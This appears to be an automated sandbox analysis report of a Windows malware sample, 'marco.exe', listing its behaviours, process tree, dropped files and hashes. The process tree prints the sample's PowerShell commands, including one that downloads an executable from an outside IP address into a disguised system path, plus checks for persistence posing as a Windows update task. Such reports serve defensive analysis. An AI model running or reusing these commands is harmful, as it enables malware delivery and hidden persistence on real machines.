Analysis

  • max time kernel
    37s
  • max time network
    39s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    01/10/2026, 20:05

General

  • Target
    marco.exe
  • Size 956KB
  • Sample261001-yvb7days6k
  • SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Users\Admin\AppData\Local\Temp\marco.exe
      "C:\Users\Admin\AppData\Local\Temp\marco.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3184
    • C:\Windows\system32\cmd.exe
      cmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3508
    • C:\Windows\system32\cmd.exe
      cmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3108
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\system32\wuausvhost.exe
      "C:\Windows\system32\wuausvhost.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3584
  • C:\Windows\system32\wuausvhost.exe
    C:\Windows\system32\wuausvhost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4180
  • C:\Windows\system32\wuausvhost.exe
    "C:\Windows\system32\wuausvhost.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:560

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 be60000073a2adae6603febd3b4cdd6062485f931fc62a5278820273fadf7527
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8dd8887b04548ef7847fa27e6f062e47933b2d127e01bbf0251205b9c0af8c76
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_e5rebpyi.5ca.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e5rebpyi.5ca.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        wlb6E55.tmp.dll

        • Path C:\Users\Admin\AppData\Local\Temp\wlb6E55.tmp.dll
        • Size 103KB
        • SHA256 030a31a47580dd821cbe7963e0c8dd5f861bf539aaddd967d9786d183e050b87
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wuausvhost.exe

        • Path C:\Windows\System32\wuausvhost.exe
        • Size 956KB
        • SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3400-9-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-19-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-31-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-39-0x0000000000F10000-0x0000000000F11000-memory.dmp

        memory/3400-55-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-58-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-81-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-84-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-93-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-92-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-94-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-89-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-83-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-82-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-80-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-79-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-78-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-77-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-76-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-75-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-74-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-73-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-72-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-70-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-69-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-68-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-67-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-66-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-65-0x0000000000F30000-0x0000000000F31000-memory.dmp

        memory/3400-57-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-56-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-54-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-53-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-52-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-51-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-50-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-49-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-48-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-47-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-46-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-44-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-43-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-42-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-41-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-40-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-32-0x0000000002F80000-0x0000000003030000-memory.dmp

        memory/3400-30-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-29-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-28-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-27-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-26-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-25-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-24-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-23-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-22-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-18-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-17-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-16-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-15-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

        memory/3400-20-0x0000000180000000-0x00000001800B0000-memory.dmp

        memory/3400-96-0x0000000000F00000-0x0000000000F01000-memory.dmp

        memory/3400-104-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-107-0x0000000009400000-0x00000000094B0000-memory.dmp

        memory/3400-154-0x0000000009E20000-0x0000000009ED0000-memory.dmp

        memory/3508-116-0x000001CEA62C0000-0x000001CEA62E2000-memory.dmp